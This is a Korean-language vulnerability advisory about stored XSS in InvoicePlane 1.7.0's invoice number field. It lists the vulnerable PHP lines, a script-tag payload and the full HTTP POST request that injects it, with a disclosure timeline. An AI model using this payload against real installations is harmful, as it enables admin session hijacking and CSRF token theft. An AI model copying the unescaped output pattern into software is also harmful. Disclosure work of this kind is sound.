
# InvoicePlane 1.7.0의 저장형 XSS 취약점 인보이스 번호 필드의 비위생화로 인한 InvoicePlane 1.7.0의 저장형 XSS 취약점으로, 개념 증명(PoC) 및 수정 방법을 포함합니다.
취약점: 송장 번호 필드를 통한 저장형 교차 사이트 스크립팅(XSS)
제품: InvoicePlane
영향을 받는 버전: 1.7.0(및 이전 버전일 가능성 있음)
심각도: 중간
CVSS 3.1 점수: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: 웹 페이지 생성 중 입력의 부적절한 중화
발견자: Leonidas Agathos
보고 날짜: 2026-01-31
송장 양식의 invoice_number 필드는 삭제 없이 임의의 입력을 허용합니다. 해당 값은 저장된 후 여러 위치에서 인코딩되지 않은 채 렌더링됩니다: 송장 보기 페이지 제목, 송장 번호 입력 필드, 대시보드의 최근 송장 위젯. 관리자가 영향을 받는 송장을 보거나 대시보드를 방문할 때마다 페이로드가 실행됩니다.
취약한 파일:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Line 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Line 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Line 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
1단계 — 송장 번호에 페이로드 주입
/index.php/invoices/form/{id}에서 송장을 생성하거나 편집하고 송장 번호를 다음으로 설정합니다:
<script>alert("XSS in Invoices")</script>
요청:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

2단계 — XSS 트리거
/index.php/invoices/view/{id} 또는 /index.php/dashboard로 이동합니다. 페이로드는 페이지 로드 시 실행됩니다.

페이로드는 영향을 받는 송장을 보거나 대시보드를 방문하는 모든 관리자의 브라우저에서 실행됩니다. 이를 통해 세션 하이재킹(쿠키가 HttpOnly가 아닌 경우), CSRF 토큰 탈취, 피해자의 신원으로 수행되는 작업이 가능해집니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-01-30 | 취약점 발견 |
| 2026-01-31 | 개념 증명 개발 |
| 2026-01-31 | 공급업체에 통보 |
| 2026-02-04 | 공급업체 확인 |
| 2026-02-04 | 패치 릴리스 |
| 2026-02-05 | 공개 공개 |
이 취약점은 독립적인 보안 연구 중에 발견되었습니다. 모든 정보는 공급업체와 보안 커뮤니티가 문제를 이해하고 해결하는 데 도움을 주기 위해 교육, 연구 및 방어 목적으로만 제공됩니다. 이 정보의 악의적인 사용은 엄격히 금지됩니다.